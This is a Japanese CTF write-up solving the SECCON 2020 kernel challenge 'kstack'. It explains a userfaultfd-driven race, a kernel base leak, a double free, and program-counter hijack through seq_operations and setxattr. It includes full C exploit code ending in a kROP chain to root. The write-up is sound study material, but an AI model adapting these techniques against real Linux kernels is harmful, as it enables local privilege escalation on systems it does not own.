kernel exploit / setxattr / userfaultfd / shm_file_data / double free
- 1: イントロ
- 2: 静的解析
- 2: Vulns
- 3: Leak kernbase via shm_file_data
- 4: Double free via failure of copy_from_user
- 4: Rule PC via seq_operations and setxattr
- 5: Root via stack pivot
- 6: Exploit
- 7: アウトロ
1: イントロ
いつぞや開催された SECCON CTF 2020。
そのpwn問題を全部解き直すシリーズpart.2です。前回までのエントリは以下を参照してください。
本エントリでは kernel exploit 問題である kstack を解いていきます。
2: 静的解析
配布ファイルは以下の通り:
- bzImage: Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #18 0GNU/Linux
- rootfs.cpio: initram
- start.sh: QEMU起動スクリプト。NICはe1000。SMEP・KASLR有効。
- kstack.c: LKMソースファイル。後述。
本LKMは stack という名前のプロセスファイルをインストールする。 fops には unlocked_ioctl のみが登録されており、簡易的な PUSH/POP をシミュレートする。
2: Vulns
unlocked_ioctl として登録されている proc_ioctl は内部で copy_from_user/copy_to_user を呼び出すのだが、この際にロックが取られないため race condition が発生する可能性が有る。copy_from_user/copy_to_user はそれ自体がそれなりに重い操作であるため、何万回か繰り返せばまぁそのうち競合するだろうが、今回は確実に競合を発生させるため、userfaultfd を用いて copy_from_user がユーザランドのページにアクセスした際にフォルトを発生させ、処理をユーザランドに戻すことにする。
userfaultfd を用いた race condition exploit については、以下で詳しく取り扱っている。
3: Leak kernbase via shm_file_data
まずは試しに POP を2回行って double free を起こしてみる。
そのためにはまず、適当な値をPUSHしておく。
その後、別スレッドにおいて __NR_userfaultfd システムコール(libcにラッパはない為直接呼ぶ)で usefaultfd file descriptor を入手する。そのあと mmap で指定したアドレス(0x117117000)に領域を確保し、確保した領域を uffd に対する ioctl で監視する。
mmap領域が監視されている状態で、その領域に対してPOPを行う。lazy loadingのためにmmap領域は実際にはまだページが確保されていないから、このPOP内の copy_to_user でページフォルトが起こり、処理は指定したユーザランドのフォルトハンドラに移る。このPOPを一旦放置した状態でフォルトハンドラにおいてもう一度POPを行えば無事に100%の確率で double free が発生する。
今回モジュール内で使用されている Element 構造体は全体のサイズが 0x18bytes である。よって、これは free された後に kmalloc-32 に入ることになる。このスラブに入る構造体の中でなにかいいものがないかを以下で探す。
ここでは shm_file_data 構造体を利用する。これは shmat シスコールの内部で生成される構造体である。
ここで *sfd が struct shm_file_data である。
そのサイズは 0x20bytes であり、kmalloc-32にのることがわかる。
double free -> push -> shm_file_data生成 -> pop の順に操作することで shm_file_data の0x8~0x10byte目の値が読めるはずなのだが、何度やっても上手くpopされなかった。それもそのはずで、POPの際には以下のように pid の確認をしているのを失念していた。
というわけで、方向転換をする。
まず先に shm_file_data を kfree しておく。その後でPOPを行い、shm_file_data として使われていたスラブオブジェクトを Element 構造体として確保する。pid などを設定した後 copy_to_user を行うのだが、ここでフォルトを発生させてハンドラに処理を移す。その内部でPUSHを行うことで、pid は適切に設定されているものの Element.value に該当するデータは前の shm_file_data 内のポインタが残っており、これをleakすることができる。
ここで shm_file_data をkfree する方法だが、shmctl(IPC_RMID)をすることで該当セグメントに対して破棄済みの印をつけることができる。その後でセグメントが破棄されるわけなんだが、正確にどのタイミングで破棄されるのかが分からなかった。大体の場合はプロセスが死んだ直後に shm_release が呼ばれるのだが、呼ばれない場合もごく稀にあった。上手くいった例が以下のとおりである(デバッグ目的で自前の巨大kernelを使っているためブートに異様に時間がかかっている+これまたデバッグ目的でrootユーザを使用している)
まぁ、安定はしないが取り敢えずleakはできている。90%くらいは成功するからこれでいいだろう。
ここまでのコードは以下の通り。
#define _GNU_SOURCE#include<sys/types.h>
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h>
#include<sys/shm.h> #define ulong unsigned long #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define PAGE 0x1000 ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note char *addr = 0x117117000; // memory region supervisored char *shmaddr = 0x200200000; // memory region shmat const char *buf[0x1000]; // userland buffer const unsigned long len = PAGE*0x10; // memory length unsigned long leak, kernbase; void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define POP 0x57ac0002 #define PUSH 0x57ac0001 struct Element{ int owner; unsigned long value; struct Element *fd; }; int _push(unsigned long *data) { if(ioctl(fd, PUSH, data) < 0) errExit("_push"); printf("[+] pushed %llx\n", *data); return 0; } int _pop(unsigned long *givenbuf) { if(ioctl(fd, POP, givenbuf) < 0) errExit("_pop"); printf("[+] poped %llx\n", *givenbuf); return 0; } static void call_shmat(void) { int shmid; void *addr; pid_t pid; if((pid=fork()) == 0){ if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1) errExit("shmget fail"); if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1) errExit("shmat fail"); if(shmctl(shmid, IPC_RMID, NULL)==-1) errExit("shmctl"); printf("[ ] Success call_shmat: %p\n", addr); printf("[ ] Child is exiting...\n"); exit(0); } wait(pid); printf("[ ] Parent is returning...\n"); } // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events unsigned long hogebuf; // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); //** Now, another thread is halting. Do my business. **// puts("[+] pop before push!"); _pop(&hogebuf); // leak shm_file_data->ipc_namespace leak = hogebuf; kernbase = leak-0xc38600; printf("[!] leaked: %llx\n", leak); printf("[!] kernbase(text): %llx\n", kernbase); // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl uffdio_copy.src = buf; uffdio_copy.dst = msg.arg.pagefault.address & ~(PAGE-1); uffdio_copy.len = PAGE; uffdio_copy.mode = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = PAGE*0x10; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { unsigned long secret; unsigned long content_ptr; unsigned long modulebase; unsigned long dif_main_buf, dif_notes_array; unsigned long page_offset_base; unsigned long rip_call_copy_to_user; unsigned long addr_copy_to_user; signed long rel_jmp_offset; unsigned long kern_textbase; void *tmp_addr; unsigned char *addr_cred; unsigned long addr_cred_in_task_struct; unsigned long tmp_buf = 0xdeadbeef; unsigned long diff_copy_to_user = 0x353ee0; // save state save_state(); // open miscdevice if((fd=open("/proc/stack",O_RDONLY))<0) errExit("open-/proc/stack"); // leak secret register_userfaultfd_and_halt(); sleep(1); call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32 _push(addr); // invoke fault return 0; }
4: Double free via failure of copy_from_user
さて、ここまでで kernbase のリークは済んだ。このあとはPCを奪取する必要が有る。
上のプログラムではページフォルトをハンドルした後、処理が copy_to_user に戻り、以降はほぼ正常に動作する。但し、中断したPUSHで扱っている Element インスタンスはPOPにおいて kfree されている。ここで copy_from_user が失敗した場合、以下の処理でさらに同じインスタンスが kfree されて double free が生じる。
copy_from_user を失敗させるためには、その領域に対してアクセス権限がなければよいため、フォルトハンドラの内部において mprotect でページ権限を変更することにする。
こうしてユーザランドからの読み込みを失敗させると、以下のように EINVAL が返されて copy_from_user が失敗し、double free が生じる。
4: Rule PC via seq_operations and setxattr
double freeがあれば、PCを奪取することができるようになる。そのための条件は、1: 構造体内に関数ポインタを含むこと 2: 1と別に構造体内に任意の値を書き込めること。さて、先程の shm_file_data 構造体を考えると、このどちらの条件も満たしていないことが分かる。よって、こいつとは kernbase leak を最後におさらばする👋👋👋👋 (というかひねくれずに最初から以下の常套手段を使えばよかったのに...)
構造体内に関数ポインタを含み kmalloc-32 に入る構造体として seq_operations を用いる。これは4つの関数ポインタを保持し、任意のタイミングで呼び出すことができるため victim 側の構造体として利用する。
任意の値の書き込みには定番の setxattr を呼び出す。確保するチャンクのサイズやそこに書き込む値を自由に制御することができるため、うってつけの関数である。尚、確保されたオブジェクトは関数の終了時に kfree される。(今回は別に問題ない)
この2つとdouble freeを組み合わせて試しにPCを 0xDEADBEEF に飛ばしてみるコードが以下の通り。
#define _GNU_SOURCE#include<sys/types.h>
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h>
#include<sys/shm.h>
#include<sys/xattr.h> #define ulong unsigned long #define errExit(msg) do { perror("[ERROR EXIT]\n"); \ perror(msg); \ exit(EXIT_FAILURE); \ } while (0) #define PAGE 0x1000 ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note char *addr = 0x117117000; // memory region supervisored char *shmaddr = 0x200200000; // memory region shmat const char *buf[0x1000]; // userland buffer const unsigned long len = PAGE*0x10; // memory length unsigned long leak, kernbase; void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define POP 0x57ac0002 #define PUSH 0x57ac0001 struct Element{ int owner; unsigned long value; struct Element *fd; }; int _push(unsigned long *data) { if(ioctl(fd, PUSH, data) < 0) if(errno == EINVAL){ printf("[-] copy_from_user failed.\n"); errno = 0; }else errExit("_push"); // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it. return 0; } int _pop(unsigned long *givenbuf) { if(ioctl(fd, POP, givenbuf) < 0) errExit("_pop"); printf("[+] poped %llx\n", *givenbuf); return 0; } static void call_shmat(void) { int shmid; void *addr; pid_t pid; if((pid=fork()) == 0){ if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1) errExit("shmget fail"); if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1) errExit("shmat fail"); if(shmctl(shmid, IPC_RMID, NULL)==-1) errExit("shmctl"); printf("[ ] Success call_shmat: %p\n", addr); printf("[ ] Child is exiting...\n"); exit(0); } wait(pid); printf("[ ] Parent is returning...\n"); } // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_range uffdio_range; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events unsigned long hogebuf; // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); //********* Now, another thread is halting. Do my business. **// // leak kernbase puts("[+] pop before push!"); _pop(&hogebuf); // leak shm_file_data->ipc_namespace leak = hogebuf; kernbase = leak-0xc38600; printf("[!] leaked: %llx\n", leak); printf("[!] kernbase(text): %llx\n", kernbase); // change page permission and make fail copy_from_user mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE); printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1)); uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1); uffdio_range.len = PAGE; if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1) errExit("ioctl-UFFDIO_UNREGISTER"); printf("[+] unregistered supervisored region.\n"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = PAGE*0x10; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { unsigned long secret; unsigned long content_ptr; unsigned long modulebase; unsigned long dif_main_buf, dif_notes_array; unsigned long page_offset_base; unsigned long rip_call_copy_to_user; unsigned long addr_copy_to_user; signed long rel_jmp_offset; unsigned long kern_textbase; void *tmp_addr; unsigned char *addr_cred; unsigned long addr_cred_in_task_struct; unsigned long tmp_buf = 0xdeadbeef; int sfd; unsigned long diff_copy_to_user = 0x353ee0; // save state save_state(); // open target proc file if((fd=open("/proc/stack",O_RDONLY))<0) errExit("open-/proc/stack"); // set userfaultfd register_userfaultfd_and_halt(); sleep(1); // call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32 _push(addr); // invoke fault // alloc seq_operations; if((sfd = open("proc/self/stat", O_RDONLY)) == -1) errExit("single_open"); // overwrite seq_operations; char buf[0x20]; for(int ix=0; ix!=4; ++ix) *(unsigned long*)(buf+ix*8) = 0xDEADBEEF; setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE); // pop rip to death read(sfd, buf, 0x10); return 0; }
double free されて kmalloc-32 に対して同一オブジェクトが2つ繋がれているため、以下のように setxattr 内で kvmalloc によって確保されたチャンクが seq_operations として確保されたものと同一のものであることが分かるであろう。
但し、先頭8byteは kfree (厳密に言うと inline do_slab_free)において変更されるため、先頭8byteの値は自由にいじることができない前提でいる必要が有る。今回は int (*show)() だけ書き換えられれば良いため、問題なし。関数ポインタを 0xDEADBEEF で書き換えたために次に read する際にパニックが起きる。
5: Root via stack pivot
ここまででPCを奪取することができた。また、今回は SMEP のみ有効で SMAP 無効のため、kROPができる。
すごく普通のkROPのため省略するが、詳細は以下のエントリらへんに書いておいた気がする。
6: Exploit
自前カーネルのオフセットを利用している。オフセットを直せば問題環境にそのまま利用できるが、二度手間なのでしていない。
SMEP/KASLR有効。
#define _GNU_SOURCE#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h>
#include<sys/shm.h>
#include<sys/xattr.h> #define ulong unsigned long #define errExit(msg) do { perror("[ERROR EXIT]\n"); \ perror(msg); \ exit(EXIT_FAILURE); \ } while (0) #define WAIT(msg) puts(msg); \ fgetc(stdin); #define PAGE 0x1000 ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note char *addr = 0x117117000; // memory region supervisored char *shmaddr = 0x200200000; // memory region shmat const char *buf[0x1000]; // userland buffer const ulong len = PAGE*0x10; // memory length ulong leak, kernbase; void pop_shell(void) { char *argv1[] = {"/bin/cat","/flag",NULL}; char *envp1[] = {NULL}; execve("/bin/cat",argv1,envp1); char *argv2[] = {"/bin/sh",NULL}; char *envp2[] = {NULL}; execve("/bin/sh",argv2,envp2); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define POP 0x57ac0002 #define PUSH 0x57ac0001 struct Element{ int owner; ulong value; struct Element *fd; }; int _push(ulong *data) { if(ioctl(fd, PUSH, data) < 0) if(errno == EINVAL){ printf("[-] copy_from_user failed.\n"); errno = 0; }else errExit("_push"); // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it. return 0; } int _pop(ulong *givenbuf) { if(ioctl(fd, POP, givenbuf) < 0) errExit("_pop"); printf("[+] poped %llx\n", *givenbuf); return 0; } static void call_shmat(void) { int shmid; void *addr; pid_t pid; if((pid=fork()) == 0){ if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1) errExit("shmget fail"); if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1) errExit("shmat fail"); if(shmctl(shmid, IPC_RMID, NULL)==-1) errExit("shmctl"); printf("[ ] Success call_shmat: %p\n", addr); printf("[ ] Child is exiting...\n"); exit(0); } wait(pid); printf("[ ] Parent is returning...\n"); } // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_range uffdio_range; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events ulong hogebuf; // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); //********* Now, another thread is halting. Do my business. **// // leak kernbase puts("[+] pop before push!"); _pop(&hogebuf); // leak shm_file_data->ipc_namespace leak = hogebuf; kernbase = leak-0xc38600; printf("[!] leaked: %llx\n", leak); printf("[!] kernbase(text): %llx\n", kernbase); // change page permission and make fail copy_from_user mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE); printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1)); uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1); uffdio_range.len = PAGE; if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1) errExit("ioctl-UFFDIO_UNREGISTER"); printf("[+] unregistered supervisored region.\n"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = PAGE*0x10; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { /** gadgets **/ ulong pop_rdi = 0x194964; // 0xffffffff81194964: pop rdi ; ret ; (19 found) ulong pop_rcx = 0x0dee43; // 0xffffffff810dee43: pop rcx ; ret ; (49 found) ulong stack_pivot = 0x059d8b; // 0xffffffff81059d8b: mov esp, 0x83C389C0 ; ret ; (1 found) ulong prepare_kernel_cred = 0x06b960; // ffffffff8106b960 T prepare_kernel_cred ulong mov_rdi_rax = 0x0187bf; // 0xffffffff810187bf: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found) ulong commit_creds = 0x06b770; // ffffffff8106b770 T commit_creds ulong swapgs_restore_regs_and_return_to_usermode = 0x600a4a; // ffffffff81600a34 T swapgs_restore_regs_and_return_to_usermode /* 0xffffffff81600a4a <common_interrupt+74>: mov rdi,rsp 0xffffffff81600a4d <common_interrupt+77>: mov rsp,QWORD PTR gs:0x5004 0xffffffff81600a56 <common_interrupt+86>: push QWORD PTR [rdi+0x30] 0xffffffff81600a59 <common_interrupt+89>: push QWORD PTR [rdi+0x28] 0xffffffff81600a5c <common_interrupt+92>: push QWORD PTR [rdi+0x20] 0xffffffff81600a5f <common_interrupt+95>: push QWORD PTR [rdi+0x18] 0xffffffff81600a62 <common_interrupt+98>: push QWORD PTR [rdi+0x10] 0xffffffff81600a65 <common_interrupt+101>: push QWORD PTR [rdi] 0xffffffff81600a67 <common_interrupt+103>: push rax 0xffffffff81600a68 <common_interrupt+104>: xchg ax,ax 0xffffffff81600a6a <common_interrupt+106>: mov rdi,cr3 0xffffffff81600a6d <common_interrupt+109>: jmp 0xffffffff81600aa3 <common_interrupt+163> 0xffffffff81600a6f <common_interrupt+111>: mov rax,rdi 0xffffffff81600a72 <common_interrupt+114>: and rdi,0x7ff */ void *tmp_addr; ulong tmp_buf = 0xdeadbeef; int sfd; unsigned long* fstack; ulong *rop; // save state save_state(); // open target proc file if((fd=open("/proc/stack",O_RDONLY))<0) errExit("open-/proc/stack"); // set userfaultfd register_userfaultfd_and_halt(); sleep(1); // call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32 _push(addr); // invoke fault // alloc seq_operations; if((sfd = open("proc/self/stat", O_RDONLY)) == -1) errExit("single_open"); // overwrite seq_operations; char buf[0x20]; printf("[+] stack pivot gadget: %p\n", kernbase + stack_pivot); for(int ix=0; ix!=4; ++ix) // first 8byte is useless. *(ulong*)(buf+ix*8) = (kernbase + stack_pivot); setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE); // alloc fake stack for 0x83C389C0 fstack = mmap(0x83C38000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if(fstack != 0x83C38000) errExit("fstack"); /********** construct kROP ***************/ rop = (ulong*)0x83C389c0; // Get cred of init task. *rop++ = kernbase + pop_rdi; *rop++ = 0; *rop++ = kernbase + prepare_kernel_cred; // Commit that cred. *rop++ = kernbase + pop_rcx; // Cuz mov_rdi_rax gadget contains rep inst, set counter to 0. *rop++ = 0; *rop++ = kernbase + mov_rdi_rax; *rop++ = 0; // fake rbp *rop++ = kernbase + commit_creds; // Return to usermode by swapgs_restore_regs_and_return_to_usermode *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode; *rop++ = 0; *rop++ = 0; *rop++ = (ulong)&pop_shell; *rop++ = user_cs; *rop++ = user_rflags; *rop++ = user_sp; *rop++ = user_ss; // pop shell read(sfd, buf, 0x10); return 0; } /**** #!/bin/sh sudo rm -r ./extracted mkdir extracted cp ./rootfs.cpio ./rootfs_temp.cpio cd ./extracted cpio -idv < ../rootfs_temp.cpio cd ../ rm ./rootfs_temp.cpio gcc ./exploit.c -o exploit --static -pthread cp ./exploit ./extracted/ cp ./build/kstack.ko ./extracted/root/kstack.ko rm ./myrootfs.cpio chmod 777 -R ./extracted cd ./extracted find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio cd ../ qemu-system-x86_64 \ -m 512M \ -kernel ~/buildroot-2020.02.5/output/images/bzImage \ -initrd ./myrootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \ -cpu kvm64,+smep \ -net user -net nic -device e1000 \ -monitor /dev/null \ -nographic # Makefile obj-m += kstack.o all: make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD) modules EXTRA_CFLAGS="-g DDEBUG" clean: make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD) clean ****/
7: アウトロ
次はkvdbでもやろうかな
あとほんの少しだけ続く...